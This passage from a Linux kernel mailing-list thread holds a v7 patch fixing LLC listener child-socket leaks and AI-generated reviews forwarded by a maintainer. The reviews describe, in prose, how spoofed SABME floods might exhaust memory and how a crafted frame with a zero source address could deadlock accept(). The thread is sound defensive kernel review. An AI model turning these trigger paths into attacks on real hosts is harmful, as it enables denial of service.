sk_receive_queue, backlog drain, or a later SOCK_DEAD packet.
- Stop taking the listener lock in llc_incoming_sock_work(); the child
already holds the listener, and teardown no longer interleaves with
llc_ui_release()'s llc_sk_free().
- Hold a child socket reference on handshake skbs with
skb_set_owner_sk_safe(), so kfree_skb() cannot race asynchronous
teardown through sock_rfree().
- Finish sock_orphan() and the device put in llc_incoming_sock_work()
before llc_sk_free(), so those steps do not run after its sock_put().
- Keep the v1 lore Link on its own line, before the numbered-patch
diffstat.
- Include the original leak-only leftover /proc/net/llc/socket count
next to the later panic_on_oom log.
- v6 Link: https://lore.kernel.org/all/cover.1787752861.git.zihanx@nebusec.ai/
changes in v6:
- Hold a reference for children queued for accept() and release it when they
are dequeued, while retaining SAP publication so tuple lookup still finds
a pending child before the passive open completes.
- Make direct receive, backlog, accept-queue, and listener-close cleanup
symmetric, with bottom-half-disabled child locking in process context.
- Keep the LLC_CONN_OUT_OF_SVC lower-bound check in its separate patch and
use the ADM state boundary consistently.
- v5 Link: https://lore.kernel.org/all/20260822082354.3109-1-zihanx@nebusec.ai/
changes in v5:
- Make listener child cleanup unconditional so queued children are also
released if the socket leaves TCP_LISTEN before close.
- Serialize process-context child cleanup and backlog dispatch with bottom
halves disabled, avoiding child-lock acquisition races with LLC receive
and timer paths.
- Drop packets redirected through a pending child after its listener is no
longer listening, and release children left out of service instead of
dispatching them.
- Split the LLC_CONN_OUT_OF_SVC lower-bound check into a separate patch.
- v4 Link: https://lore.kernel.org/all/20260814185843.4748-1-zihanx@nebusec.ai/
changes in v4:
- Create a passive-open child only for SABME and generate listener-side DM
replies directly for non-SABME commands.
- Use an atomic incoming-child lifecycle and serialize pending-child lookup,
backlog processing, rollback, and listener close with the child lock.
- Keep immediate SAP publication for passive-open tuple matching, but release
unaccepted children on direct and backlog failures and on listener close.
- Defer final incoming-child cleanup to workqueue context so timer
synchronization does not run in the receive softirq path.
- Add an LLC state lower-bound check before state-table dispatch.
- v3 Link: https://lore.kernel.org/all/20260805175945.10698-1-zihanx@nebusec.ai/
changes in v3:
- Drop the unused llc_conn_handler() local rc variable reported in review.
- Rebase the numbered patch and cover onto commit
ede76849012e45ffb2193ad110b42027eec02c5c.
- v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
- Rework the fix to preserve the existing passive-open tuple matching
semantics instead of deferring child publication until LLC_CONN_PRIM.
- Track listener-created children pending publication to accept(), and roll
them back on every earlier failure or drop path.
- Cover the original non-SABME leak and SABME paths which fail before
LLC_CONN_PRIM, including backlog enqueue and backlog drop failures.
- Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the earliest
locally visible history carrying the same root-cause fact.
- Clarify panic_on_oom crash evidence and packetdrill selection.
- v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/
include/net/llc_conn.h | 15 +-
net/llc/af_llc.c | 22 ++-
net/llc/llc_conn.c | 312 +++++++++++++++++++++++++++++++++++++++--
3 files changed, 335 insertions(+), 14 deletions(-)
diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a3026967234..4fb5dedd46c4b 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -6,6 +6,7 @@
* 2001, 2002 by Arnaldo Carvalho de Melo <acme@conectiva.com.br>
*/
#include <linux/timer.h>
+#include <linux/workqueue.h>
#include <net/llc_if.h>
#include <net/sock.h>
#include <linux/llc.h>
@@ -13,6 +14,10 @@
#define LLC_EVENT 1
#define LLC_PACKET 2
+#define LLC_INCOMING_NONE 0
+#define LLC_INCOMING_PENDING 1
+#define LLC_INCOMING_QUEUED 2
+
#define LLC2_P_TIME 2
#define LLC2_ACK_TIME 1
#define LLC2_REJ_TIME 3
@@ -72,6 +77,11 @@ struct llc_sock {
received and caused sending FRMR.
Used for resending FRMR */
u32 cmsg_flags;
+ atomic_t incoming_state;
+ struct sock *incoming_listener;
+ struct list_head incoming_node;
+ struct list_head incoming_children;
+ struct work_struct incoming_work;
struct hlist_node dev_hash_node;
};
@@ -93,7 +103,10 @@ static __inline__ char llc_backlog_type(struct sk_buff *skb)
struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot, int kern);
void llc_sk_stop_all_timers(struct sock *sk, bool sync);
-void llc_sk_free(struct sock *sk);
+void llc_sk_free(struct sock *sk, bool sync);
+void llc_release_incoming_sock(struct sock *sk);
+bool llc_accept_incoming_sock(struct sock *sk);
+void llc_release_incoming_children(struct sock *sk);
void llc_sk_reset(struct sock *sk);
diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
index b0447c33dbf09..e8054809cf0cf 100644
--- a/net/llc/af_llc.c
+++ b/net/llc/af_llc.c
@@ -27,6 +27,7 @@
#include <net/llc_sap.h>
#include <net/llc_pdu.h>
#include <net/llc_conn.h>
+#include <net/llc_c_st.h>
#include <net/tcp_states.h>
/* remember: uninitialized global data is zeroed because its in .bss */
@@ -196,6 +197,7 @@ static int llc_ui_release(struct socket *sock)
{
struct sock *sk = sock->sk;
struct llc_sock *llc;
+ bool listener;
if (unlikely(sk == NULL))
goto out;
@@ -206,6 +208,9 @@ static int llc_ui_release(struct socket *sock)
llc->laddr.lsap, llc->daddr.lsap);
if (!llc_send_disc(sk))
llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
+ listener = sk->sk_state == TCP_LISTEN;
+ if (listener)
+ sock_set_flag(sk, SOCK_DEAD);
if (!sock_flag(sk, SOCK_ZAPPED)) {
struct llc_sap *sap = llc->sap;
@@ -214,16 +219,18 @@ static int llc_ui_release(struct socket *sock)
*/
llc_sap_hold(sap);
llc_sap_remove_socket(llc->sap, sk);
+ llc_release_incoming_children(sk);
release_sock(sk);
llc_sap_put(sap);
} else {
+ llc_release_incoming_children(sk);
release_sock(sk);
}
netdev_put(llc->dev, &llc->dev_tracker);
sock_put(sk);
sock_orphan(sk);
sock->sk = NULL;
- llc_sk_free(sk);
+ llc_sk_free(sk, true);
out:
return 0;
}
@@ -722,6 +729,17 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
goto frees;
rc = 0;
newsk = skb->sk;
+ lock_sock_nested(newsk, SINGLE_DEPTH_NESTING);
+ if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM ||
+ !llc_accept_incoming_sock(newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_NONE)
+ llc_release_incoming_sock(newsk);
+ release_sock(newsk);
+ sock_put(newsk);
+ rc = -ECONNABORTED;
+ goto frees;
+ }
/* attach connection to a new socket. */
llc_ui_sk_init(newsock, newsk);
sock_reset_flag(newsk, SOCK_ZAPPED);
@@ -737,6 +755,8 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
sk_acceptq_removed(sk);
dprintk("%s: ok success on %02X, client on %02X\n", __func__,
llc_sk(sk)->addr.sllc_sap, newllc->daddr.lsap);
+ release_sock(newsk);
+ sock_put(newsk);
frees:
kfree_skb(skb);
out:
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50f54c..092625e28b3bb 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
struct sk_buff *ev);
static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
struct sk_buff *skb);
+static void llc_incoming_sock_work(struct work_struct *work);
/* Offset table on connection states transition diagram */
static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -88,6 +89,13 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
* skb->sk pointing to the newly created struct sock in
* llc_conn_handler. -acme
*/
+ if (sk != skb->sk &&
+ atomic_read(&llc_sk(skb->sk)->incoming_state) ==
+ LLC_INCOMING_PENDING) {
+ sock_hold(skb->sk);
+ atomic_set(&llc_sk(skb->sk)->incoming_state,
+ LLC_INCOMING_QUEUED);
+ }
skb_get(skb);
skb_queue_tail(&sk->sk_receive_queue, skb);
sk->sk_state_change(sk);
@@ -765,27 +773,196 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
newllc->dev = dev;
+ newllc->incoming_listener = sk;
+ atomic_set(&newllc->incoming_state, LLC_INCOMING_PENDING);
+ INIT_WORK(&newllc->incoming_work, llc_incoming_sock_work);
+ sock_hold(sk);
dev_hold(dev);
llc_sap_add_socket(llc->sap, newsk);
+ spin_lock_bh(&llc->sap->sk_lock);
+ list_add_tail(&newllc->incoming_node, &llc->incoming_children);
+ spin_unlock_bh(&llc->sap->sk_lock);
out:
return newsk;
}
+static void llc_incoming_sock_work(struct work_struct *work)
+{
+ struct llc_sock *llc = container_of(work, struct llc_sock,
+ incoming_work);
+ struct sock *listener = llc->incoming_listener;
+ struct sock *sk = &llc->sk;
+
+ lock_sock(sk);
+ llc_sk_stop_all_timers(sk, false);
+ sock_orphan(sk);
+ release_sock(sk);
+ llc_sk_stop_all_timers(sk, true);
+ dev_put(llc->dev);
+ llc->dev = NULL;
+ llc_sk_free(sk, false);
+ sock_put(sk);
+ sock_put(listener);
+}
+
+void llc_release_incoming_sock(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+
+ if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) ==
+ LLC_INCOMING_NONE)
+ return;
+
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+ spin_lock_bh(&llc->sap->sk_lock);
+ list_del_init(&llc->incoming_node);
+ spin_unlock_bh(&llc->sap->sk_lock);
+ sock_hold(sk);
+ llc_sap_remove_socket(llc->sap, sk);
+ schedule_work(&llc->incoming_work);
+}
+
+bool llc_accept_incoming_sock(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+
+ if (atomic_cmpxchg(&llc->incoming_state, LLC_INCOMING_QUEUED,
+ LLC_INCOMING_NONE) != LLC_INCOMING_QUEUED)
+ return false;
+
+ spin_lock_bh(&llc->sap->sk_lock);
+ list_del_init(&llc->incoming_node);
+ spin_unlock_bh(&llc->sap->sk_lock);
+ sock_put(llc->incoming_listener);
+ return true;
+}
+
+void llc_release_incoming_children(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+ struct sk_buff *skb;
+
+ local_bh_disable();
+ while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
+ struct sock *newsk = skb->sk;
+
+ if (newsk && newsk != sk) {
+ int incoming_state;
+
+ bh_lock_sock_nested(newsk);
+ incoming_state =
+ atomic_read(&llc_sk(newsk)->incoming_state);
+ if (incoming_state != LLC_INCOMING_NONE) {
+ llc_release_incoming_sock(newsk);
+ if (incoming_state == LLC_INCOMING_QUEUED)
+ sock_put(newsk);
+ }
+ bh_unlock_sock(newsk);
+ }
+ kfree_skb(skb);
+ }
+ if (llc->sap) {
+ spin_lock(&llc->sap->sk_lock);
+ while (!list_empty(&llc->incoming_children)) {
+ struct llc_sock *child;
+ struct sock *newsk;
+
+ child = list_first_entry(&llc->incoming_children,
+ struct llc_sock,
+ incoming_node);
+ list_del_init(&child->incoming_node);
+ newsk = &child->sk;
+ sock_hold(newsk);
+ spin_unlock(&llc->sap->sk_lock);
+
+ bh_lock_sock_nested(newsk);
+ if (atomic_read(&child->incoming_state) !=
+ LLC_INCOMING_NONE)
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ sock_put(newsk);
+ spin_lock(&llc->sap->sk_lock);
+ }
+ spin_unlock(&llc->sap->sk_lock);
+ }
+ local_bh_enable();
+}
+
+/*
+ * This mirrors the ADM-state DM actions, but a listener has no peer
+ * address in llc->daddr yet.
+ */
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+ struct llc_addr *saddr, u8 f_bit)
+{
+ struct sk_buff *nskb;
+ int rc;
+
+ nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+ if (!nskb)
+ return;
+
+ llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+ saddr->lsap, LLC_PDU_RSP);
+ llc_pdu_init_as_dm_rsp(nskb, f_bit);
+ rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+ if (unlikely(rc))
+ kfree_skb(nskb);
+ else
+ dev_queue_xmit(nskb);
+}
+
void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
{
+ struct sock *sk, *newsk = NULL;
+ bool newsk_lookup_ref = false;
struct llc_addr saddr, daddr;
- struct sock *sk;
+ bool newsk_locked = false;
llc_pdu_decode_sa(skb, saddr.mac);
llc_pdu_decode_ssap(skb, &saddr.lsap);
llc_pdu_decode_da(skb, daddr.mac);
llc_pdu_decode_dsap(skb, &daddr.lsap);
+lookup:
sk = __llc_lookup(sap, &saddr, &daddr, dev_net(skb->dev));
if (!sk)
goto drop;
+ if (atomic_read(&llc_sk(sk)->incoming_state) ==
+ LLC_INCOMING_PENDING) {
+ newsk = sk;
+ bh_lock_sock(newsk);
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING) {
+ bh_unlock_sock(newsk);
+ sock_put(newsk);
+ newsk = NULL;
+ goto lookup;
+ }
+ sk = llc_sk(newsk)->incoming_listener;
+ sock_hold(sk);
+ newsk_lookup_ref = true;
+ bh_unlock_sock(newsk);
+ }
+
bh_lock_sock(sk);
+ if (unlikely(sk->sk_state == TCP_LISTEN &&
+ sock_flag(sk, SOCK_DEAD) &&
+ !newsk_lookup_ref))
+ goto drop_unlock;
+ if (newsk_lookup_ref) {
+ bh_lock_sock_nested(newsk);
+ newsk_locked = true;
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING)
+ goto retry_unlock;
+ if (unlikely(sk->sk_state != TCP_LISTEN ||
+ sock_flag(sk, SOCK_DEAD))) {
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ }
/*
* This has to be done here and not at the upper layer ->accept
* method because of the way the PROCOM state machine works:
@@ -795,11 +972,31 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
* in the newly created struct sock private area. -acme
*/
if (unlikely(sk->sk_state == TCP_LISTEN)) {
- struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
- &saddr, &daddr);
- if (!newsk)
+ if (!newsk) {
+ if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+ if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+ u8 f_bit;
+
+ llc_pdu_decode_pf_bit(skb, &f_bit);
+ llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+ } else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+ llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+ }
+ goto drop_unlock;
+ }
+ newsk = llc_create_incoming_sock(sk, skb->dev, &saddr,
+ &daddr);
+ if (!newsk)
+ goto drop_unlock;
+ bh_lock_sock_nested(newsk);
+ newsk_locked = true;
+ }
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
goto drop_unlock;
- skb_set_owner_r(skb, newsk);
+ }
} else {
/*
* Can't be skb_set_owner_r, this will be done at the
@@ -813,18 +1010,49 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
skb->sk = sk;
skb->destructor = sock_efree;
}
- if (!sock_owned_by_user(sk))
+ if (unlikely(llc_sk(skb->sk)->state < LLC_CONN_STATE_ADM)) {
+ if (newsk) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ } else if (atomic_read(&llc_sk(sk)->incoming_state) ==
+ LLC_INCOMING_PENDING) {
+ llc_release_incoming_sock(sk);
+ }
+ goto drop_unlock;
+ }
+ if (!sock_owned_by_user(sk)) {
llc_conn_rcv(sk, skb);
- else {
+ if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ } else {
dprintk("%s: adding to backlog...\n", __func__);
llc_set_backlog_type(skb, LLC_PACKET);
- if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+ if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+ if (newsk && !newsk_lookup_ref)
+ llc_release_incoming_sock(newsk);
goto drop_unlock;
+ }
}
out:
+ if (newsk_locked)
+ bh_unlock_sock(newsk);
bh_unlock_sock(sk);
sock_put(sk);
+ if (newsk_lookup_ref)
+ sock_put(newsk);
return;
+retry_unlock:
+ bh_unlock_sock(newsk);
+ newsk_locked = false;
+ bh_unlock_sock(sk);
+ sock_put(sk);
+ sock_put(newsk);
+ newsk = NULL;
+ newsk_lookup_ref = false;
+ goto lookup;
drop:
kfree_skb(skb);
return;
@@ -852,12 +1080,52 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
{
int rc = 0;
struct llc_sock *llc = llc_sk(sk);
+ struct sock *newsk = skb->sk;
if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
- if (likely(llc->state > 1)) /* not closed */
+ if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING) {
+ local_bh_disable();
+ bh_lock_sock_nested(newsk);
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING) {
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ goto retry;
+ }
+ if (sock_flag(sk, SOCK_DEAD) ||
+ sk->sk_state != TCP_LISTEN ||
+ llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ goto out_kfree_skb;
+ }
rc = llc_conn_rcv(sk, skb);
- else
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ } else if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_QUEUED) {
+ local_bh_disable();
+ bh_lock_sock_nested(newsk);
+ if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM) {
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ goto out_kfree_skb;
+ }
+ rc = llc_conn_rcv(newsk, skb);
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ } else if (likely(llc->state > 1)) {
+ rc = llc_conn_rcv(sk, skb);
+ } else {
goto out_kfree_skb;
+ }
} else if (llc_backlog_type(skb) == LLC_EVENT) {
/* timer expiration event */
if (likely(llc->state > 1)) /* not closed */
@@ -870,6 +1138,23 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
}
out:
return rc;
+retry:
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_QUEUED) {
+ local_bh_disable();
+ bh_lock_sock_nested(newsk);
+ if (llc_sk(newsk)->state >= LLC_CONN_STATE_ADM) {
+ rc = llc_conn_rcv(newsk, skb);
+ } else {
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ goto out_kfree_skb;
+ }
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ goto out;
+ }
+ goto out_kfree_skb;
out_kfree_skb:
kfree_skb(skb);
goto out;
@@ -906,6 +1191,8 @@ static void llc_sk_init(struct sock *sk)
llc->rw = 128; /* rx win size (opt and equal to
* tx_win of remote LLC) */
skb_queue_head_init(&llc->pdu_unack_q);
+ INIT_LIST_HEAD(&llc->incoming_node);
+ INIT_LIST_HEAD(&llc->incoming_children);
sk->sk_backlog_rcv = llc_backlog_rcv;
}
@@ -960,16 +1247,17 @@ void llc_sk_stop_all_timers(struct sock *sk, bool sync)
/**
* llc_sk_free - Frees a LLC socket
* @sk: - socket to free
+ * @sync: whether to synchronously stop timers
*
* Frees a LLC socket
*/
-void llc_sk_free(struct sock *sk)
+void llc_sk_free(struct sock *sk, bool sync)
{
struct llc_sock *llc = llc_sk(sk);
llc->state = LLC_CONN_OUT_OF_SVC;
/* Stop all (possibly) running timers */
- llc_sk_stop_all_timers(sk, true);
+ llc_sk_stop_all_timers(sk, sync);
#ifdef DEBUG_LLC_CONN_ALLOC
printk(KERN_INFO "%s: unackq=%d, txq=%d\n", __func__,
skb_queue_len(&llc->pdu_unack_q),
--
2.43.0
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net v7 1/1] llc: fix listener child socket leaks before passive open completes
2026-09-03 8:01 ` [PATCH net v7 1/1] " Zihan Xi
@ 2026-09-06 10:11 ` Simon Horman
2026-09-06 12:44 ` Simon Horman
2026-09-06 12:45 ` Simon Horman
1 sibling, 1 reply; 6+ messages in thread
From: Simon Horman @ 2026-09-06 10:11 UTC (permalink / raw)
To: zihanx
Cc: Simon Horman, netdev, davem, edumazet, kuba, pabeni, kees,
linux-kernel, stable, vega
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
Full review at: https://sashiko.dev/#/patchset/0b8964c9cd294898c9657fd34c9d04cec77782eb.1788414881.git.zihanx@nebusec.ai?part=1
---
llc: fix listener child socket leaks before passive open completes
This patch addresses a child socket leak in the LLC subsystem during passive
opens. It ensures that children are only created for SABME commands, avoiding
leaks caused by non-SABME frames that never complete the connection. It also
improves teardown and lifecycle management for incoming child sockets.
> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54c..092625e28b3bb 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
> @@ -88,6 +89,13 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> * skb->sk pointing to the newly created struct sock in
> * llc_conn_handler. -acme
> */
> + if (sk != skb->sk &&
> + atomic_read(&llc_sk(skb->sk)->incoming_state) ==
> + LLC_INCOMING_PENDING) {
> + sock_hold(skb->sk);
> + atomic_set(&llc_sk(skb->sk)->incoming_state,
> + LLC_INCOMING_QUEUED);
> + }
> skb_get(skb);
> skb_queue_tail(&sk->sk_receive_queue, skb);
[Severity: High]
This isn't a bug introduced by this patch, but is it possible for an attacker
to exhaust kernel memory (OOM) via unbounded SABME flooding?
Looking at llc_conn_state_process(), the new connection skb is queued directly
to the listener's sk_receive_queue without checking if the accept queue is
full (for example, by checking sk_acceptq_is_full(sk)).
Because llc_conn_handler() allocates a new child socket for each SABME packet,
could a flood of spoofed SABME frames from the local subnet cause this queue
to grow without bound?
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net v7 1/1] llc: fix listener child socket leaks before passive open completes
2026-09-06 10:11 ` Simon Horman
@ 2026-09-06 12:44 ` Simon Horman
0 siblings, 0 replies; 6+ messages in thread
From: Simon Horman @ 2026-09-06 12:44 UTC (permalink / raw)
To: zihanx
Cc: netdev, davem, edumazet, kuba, pabeni, kees, linux-kernel, stable, vega
On Sun, Sep 06, 2026 at 11:11:49AM +0100, Simon Horman wrote:
> This is an AI-generated review of your patch. The human sending this
> email has considered the AI review valid, or at least plausible.
> Full review at: https://sashiko.dev/#/patchset/0b8964c9cd294898c9657fd34c9d04cec77782eb.1788414881.git.zihanx@nebusec.ai?part=1
Sorry, I've made mistake here.
I think the issue flagged below is actually out of scope wrt the
progress of your patch.
What I meant to forward was a separate AI-generated review at
https://netdev-ai.bots.linux.dev/sashiko/#/patchset/0b8964c9cd294898c9657fd34c9d04cec77782eb.1788414881.git.zihanx%40nebusec.ai
I will do so in a separate email.
> ---
> llc: fix listener child socket leaks before passive open completes
>
> This patch addresses a child socket leak in the LLC subsystem during passive
> opens. It ensures that children are only created for SABME commands, avoiding
> leaks caused by non-SABME frames that never complete the connection. It also
> improves teardown and lifecycle management for incoming child sockets.
>
> > diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> > index 260460d50f54c..092625e28b3bb 100644
> > --- a/net/llc/llc_conn.c
> > +++ b/net/llc/llc_conn.c
> > @@ -88,6 +89,13 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> > * skb->sk pointing to the newly created struct sock in
> > * llc_conn_handler. -acme
> > */
> > + if (sk != skb->sk &&
> > + atomic_read(&llc_sk(skb->sk)->incoming_state) ==
> > + LLC_INCOMING_PENDING) {
> > + sock_hold(skb->sk);
> > + atomic_set(&llc_sk(skb->sk)->incoming_state,
> > + LLC_INCOMING_QUEUED);
> > + }
> > skb_get(skb);
> > skb_queue_tail(&sk->sk_receive_queue, skb);
>
> [Severity: High]
> This isn't a bug introduced by this patch, but is it possible for an attacker
> to exhaust kernel memory (OOM) via unbounded SABME flooding?
>
> Looking at llc_conn_state_process(), the new connection skb is queued directly
> to the listener's sk_receive_queue without checking if the accept queue is
> full (for example, by checking sk_acceptq_is_full(sk)).
>
> Because llc_conn_handler() allocates a new child socket for each SABME packet,
> could a flood of spoofed SABME frames from the local subnet cause this queue
> to grow without bound?
^ permalink raw reply [flat|nested] 6+ messages in thread
* Re: [PATCH net v7 1/1] llc: fix listener child socket leaks before passive open completes
2026-09-03 8:01 ` [PATCH net v7 1/1] " Zihan Xi
2026-09-06 10:11 ` Simon Horman
@ 2026-09-06 12:45 ` Simon Horman
2026-09-06 13:22 ` zihan xi
1 sibling, 1 reply; 6+ messages in thread
From: Simon Horman @ 2026-09-06 12:45 UTC (permalink / raw)
To: zihanx
Cc: Simon Horman, netdev, davem, edumazet, kuba, pabeni, kees,
linux-kernel, stable, vega
This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/0b8964c9cd294898c9657fd34c9d04cec77782eb.1788414881.git.zihanx@nebusec.ai?part=1
---
llc: fix listener child socket leaks before passive open completes
This restricts passive-open child creation to SABME commands, answers other
listener-directed commands with a DM response generated from the packet
source address, and adds an incoming_state / incoming_children lifecycle so
children that never reach accept() are released on drop, backlog failure and
listener close. llc_sk_free() gains a sync argument and the final child
teardown moves to a work item.
Some questions below about the new locking and reference accounting.
> diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
> index b0447c33dbf0..e8054809cf0c 100644
> --- a/net/llc/af_llc.c
> +++ b/net/llc/af_llc.c
[ ... ]
> @@ -722,6 +729,17 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
> goto frees;
> rc = 0;
> newsk = skb->sk;
> + lock_sock_nested(newsk, SINGLE_DEPTH_NESTING);
> + if (llc_sk(newsk)->state < LLC_CONN_STATE_ADM ||
> + !llc_accept_incoming_sock(newsk)) {
> + if (atomic_read(&llc_sk(newsk)->incoming_state) !=
> + LLC_INCOMING_NONE)
> + llc_release_incoming_sock(newsk);
> + release_sock(newsk);
> + sock_put(newsk);
> + rc = -ECONNABORTED;
> + goto frees;
> + }
[Severity: High]
Can this lock_sock_nested() block on the lock_sock(sk) that llc_ui_accept()
already holds? There is no test that skb->sk is a distinct child.
A connection indication can end up on a socket's own receive queue with
skb->sk == sk. After bind(), llc->daddr is all zero, so a SABME whose
h_source is 00:00:00:00:00:00 and whose SSAP masks to 0 matches
llc_estab_match():
net/llc/llc_conn.c:llc_estab_match() {
...
llc->daddr.lsap == daddr->lsap &&
ether_addr_equal(llc->laddr.mac, laddr->mac) &&
ether_addr_equal(llc->daddr.mac, daddr->mac);
}
__llc_lookup_established() returns that socket, so llc_conn_handler() takes
the non-listener branch and sets skb->sk = sk.
llc_adm_state_trans_2 (action llc_conn_ac_conn_ind) then sets
ind_prim = LLC_CONN_PRIM, and llc_conn_state_process() queues the skb on
sk->sk_receive_queue with skb->sk == sk. llc_ui_listen() does not drain
sk_receive_queue, so the socket can enter TCP_LISTEN with that skb queued.
accept() dequeues it, the !skb->sk test does not fire, newsk == sk, and
lock_sock_nested() waits in __lock_sock() for a lock this task owns.
For such an skb the conditional hold added in llc_conn_state_process() was
never taken (sk != skb->sk is false there), so is the sock_put(newsk) on the
abort path, and on the success path below, also unbalanced?
> /* attach connection to a new socket. */
> llc_ui_sk_init(newsock, newsk);
> sock_reset_flag(newsk, SOCK_ZAPPED);
> @@ -737,6 +755,8 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
> sk_acceptq_removed(sk);
> dprintk("%s: ok success on %02X, client on %02X\n", __func__,
> llc_sk(sk)->addr.sllc_sap, newllc->daddr.lsap);
> + release_sock(newsk);
> + sock_put(newsk);
> frees:
> kfree_skb(skb);
> out:
> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54..092625e28b3b 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
[ ... ]
> @@ -88,6 +89,13 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
> * skb->sk pointing to the newly created struct sock in
> * llc_conn_handler. -acme
> */
> + if (sk != skb->sk &&
> + atomic_read(&llc_sk(skb->sk)->incoming_state) ==
> + LLC_INCOMING_PENDING) {
> + sock_hold(skb->sk);
> + atomic_set(&llc_sk(skb->sk)->incoming_state,
> + LLC_INCOMING_QUEUED);
> + }
> skb_get(skb);
> skb_queue_tail(&sk->sk_receive_queue, skb);
> sk->sk_state_change(sk);
[ ... ]
> @@ -765,27 +773,196 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
[ ... ]
> +static void llc_incoming_sock_work(struct work_struct *work)
> +{
> + struct llc_sock *llc = container_of(work, struct llc_sock,
> + incoming_work);
